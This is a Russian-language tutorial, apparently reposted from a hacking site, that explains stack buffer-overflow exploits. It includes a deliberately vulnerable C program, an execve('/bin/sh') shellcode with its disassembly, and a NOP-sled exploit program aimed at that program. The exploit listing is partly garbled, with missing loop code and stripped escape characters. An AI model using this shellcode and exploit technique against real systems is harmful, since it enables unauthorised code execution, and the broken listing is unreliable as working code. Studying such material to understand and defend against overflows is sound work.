Статистика |
|
|
Как устроены эксплоиты
Эксплоит, как известно, программа использующая некую ошибку в программном обеспечении для выполнения некоторых действий в атакуемой системе. Это может быть выполнение некоторого кода. Эксплоиты делятся на несколько категорий: эксплоиты приводящие к D.O.S. и эксплоиты выполняющие код. Конечно есть еще один класс эксплоитов - неработающие эксплоиты, но об этом мы поговорим позже.
В данной статье речь пойдет об эксплоитах приводящих к выполнению кода на атакуемой системе. Такие эксплоиты основаны, чаще всего, на переполнении буфера. Дело в том, что многие программные продукты содержат определенный класс ошибки, при которой данные не помещаются в отведенный в оперативной памяти массив, после чего оставшиеся данные непомещенные в массив попадают в стэк, где выполняются в качестве программного кода. Помните в эксплоитах некую непонятную строку символов, примерно из 15-50 байт... вот это и есть тот самый шеллкод - то, что по идее автора эксплоита должно попасть в стэк. Вот пример программы, при которой возможно переполнение буфера:
--------------------------------- #include int main(int argc, char* argv[]) { char buffer[100]; strcpy(buffer,argv[1]); return 0; } ---------------------------------
Давайте рассмотрим пример подробнее: у нас есть массив из 100 элементов. Далее мы копируем первый позиционный параметр (параметр командной строки) в наш массив. Заметьте, что у нас нет проверки на длинну нашего входного параметра, т.е. существует прямая угроза переполнения нашего буфера. Теперь рассмотрим примеры написания эксплоитов. Есть несколько возможностей получить эксплоит: найти в интернете, написать самому, подправить существующий. Первый способ самый простой, но и самый не надежный: не факт, что под данную операционную систему существует уже готовый эксплоит, да и возможно, что вы первый, кто нашел эту уязвимость. Второй способ самый лучший, так как вы сами пишите - сами пользуете. Но есть и отрицательные стороны: нужно знать как минимум один язык программирования для написания программы-"контейнера" (так я называю программу выполняющую главную функцию по установке шеллкода). В этом случае вы плавно спускаетесь до уровня 3 - модификация чужого эксплоита. Я не считаю это зазорным, так как зная, что ты изменяешь, можно получить совершенно новый эксплоит. Примером может послужить модификация шеллкода. Вы наверное уже заметили, что не все эксплоиты работают (об этом я уже говорил). Одной из причин может послужить неверная версия ОС. Дело в том, что программы-шеллкоды различаются в написании для Линукса и БСД-систем, так как шеллкод обычно пишется на ассемблере, а, например, параметры в БСД системах передаются через стэк, в то время, как в Линуксе через регистры... но мы не об этом. Чтоб не повторять уже написанных статей, я не буду рассказывать о том, как написать шеллкод - мы поступим по другому. Если человек чему-то хочет научиться, ему нужно смотреть в исходники уже написанных продуктов. У шеллкода также есть исходники, но как их получить? На ум приходит дизассемблирование. Берем готовый шеллкод и пихаем его в программу на С примерно таким образом:
-------------------------------------------------------------------- char shellcode[]= "xebx1fx5ex89x76x08x31xc0x88x46x07" "x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c" "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff" "/bin/sh"; int main(int argc,char* argv[]) { void(*shell)()=(void*)shellcode; shell(); return 0; } --------------------------------------------------------------------
Компилируем. И дизасмим: objdump -D shellprog|more. Листаем до секции . Вы должны получить следующее: ------------------------------------------------------------------------------ 080494e0 : 80494e0: eb 1f jmp 8049501 80494e2: 5e pop %esi 80494e3: 89 76 08 mov %esi,0x8(%esi) 80494e6: 31 c0 xor %eax,%eax 80494e8: 88 46 07 mov %al,0x7(%esi) 80494eb: 89 46 0c mov %eax,0xc(%esi) 80494ee: b0 0b mov $0xb,%al 80494f0: 89 f3 mov %esi,%ebx 80494f2: 8d 4e 08 lea 0x8(%esi),%ecx 80494f5: 8d 56 0c lea 0xc(%esi),%edx 80494f8: cd 80 int $0x80 80494fa: 31 db xor %ebx,%ebx 80494fc: 89 d8 mov %ebx,%eax 80494fe: 40 inc %eax 80494ff: cd 80 int $0x80 8049501: e8 dc ff ff ff call 80494e2 8049506: 2f das 8049507: 62 69 6e bound %ebp,0x6e(%ecx) 804950a: 2f das 804950b: 73 68 jae 8049575
|_________| |__________________| |___________________________________| Смещение байт-код(он и со- дизассемблированный относитель- ставляет шеллкод) код программы но начала ------------------------------------------------------------------------------
Вот мы и получили исходный код шеллкода. Если вы немного знакомы с программированием на ассемблере под юникс, то разобраться будет не сложно. Отмечу лишь то, что в данном случае используется системный вызов execve для запуска дополнительного шела /bin/sh (шеллкод взят с какого-то сайта). Как видите, по объему программа на асме не такая уж огромная... но вот пользы от нее уйма. Стоит отметить, что сам шеллкод является данными, которые посылаются в буфер, а концом любых данных является нуль-байт - ''. По этому, когда вы будете писать свой байт-код, следите за тем, чтоб у вас не было байтов типа 'x00', так как после этого байта в стэк уже ничего не попадет. Для избежания этого не стоит использовать конструкции типа pushl $0. В случае, если вам нужно поместить в стэк ноль, пишите следующим образом: ------------------- xorl %eax,%eax pushl %eax -------------------
Также ошибка может заключаться в помещении в регистр номера системной функции. Обычно это байт а не двойное слово, по этому нужно вместо movl $0x17,%eax
использовать пересылку командой movb в младшую часть регистра: movb $0x17%al
Вообще, по написанию шеллкодов написанно множество статей, но боюсь, что ничего нового я не напишу... Итак, у нас есть шеллкод. Для проверки его работоспособности вы можете его запустить (откомпиллированная программа). У каждой программы есть указатель на начало ее стэка. Получить его можно следующим образом: ----------------------------------- unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } -----------------------------------
Зная адрес начала стэка, мы пишем программу, при этом все переменные должны располагаться после этого адреса. Итак, у нас есть программа, есть шеллкод.. пора брать быка за рога. У нас есть массив из 100 элементов - это значит, что нужно воткнуть наш шеллкод куда-то внутрь него. Но при этом не потерять его в памяти, те всегда иметь указатель на начало нашего шеллкода. Также нам необходимо, чтобы перед нашим кодом не попало в стэк ничего лишнего, что могло бы привести к сбою программы. Мы уже говорили об указателе на начало стэка, значит наш буфер должен располагаться если не сразу после этого адреса, то где-то неподалеку. Для того, чтоб пропустить весь "мусор", мы в буфер "мусор" кидать не будем - мы заполним буфер командой NOP. Данная команда используется для кратковременной задержки длительностью в один такт, так что она ничего не делает - происходит переход к следующей команде. Я думаю вы уже догадались... Мы просто заполним весь наш оставшийся массив данной командой (x90), так что при прыжке в любое место буфера мы просто пропустим несколько тактов процессора и попадем на точку входа нашей процедурки на асме. Давайте создадим новый буфер большей величины следующего содержания: начало будет состоять из NOP'ов, где-то в середине будет наш шеллкод, а в конце будет адрес возврата. -------------------------------------------------------------------- #include #include
#define RET 1024 #define RANGE 200
char shellcode[]= "xebx1fx5ex89x76x08x31xc0x88x46x07" "x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c" "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff" "/bin/sh";
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
int main(int argc,char *argv[]) { int offset=0,bsize=RET+RANGE+1; int i; char buff[bsize],*ptr; long ret; unsigned long sp;
;
if(argc>8; buff[i+2]=(addr&0x00ff0000)>>16; buff[i+3]=(addr&0xff000000)>>24; } for(i=0;i buff[i]='x90';
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode[i];
buff[bsize-1]='';
execl("./vulnerable1","vulnerable1",buff,0);
} --------------------------------------------------------------------
Смещение стоит выбирать такое, чтобы попасть. Так как в нашем случае буфер находится в качестве единственной переменной, к тому же она находится в начале программы, то и смещение должно быть относительно малым. У меня на машине смешение от 200-700 работало, но помните, что это зависит от конкретной машины, следовательно у вас это значение может отличаться.
Источник: http://hackzona.ru |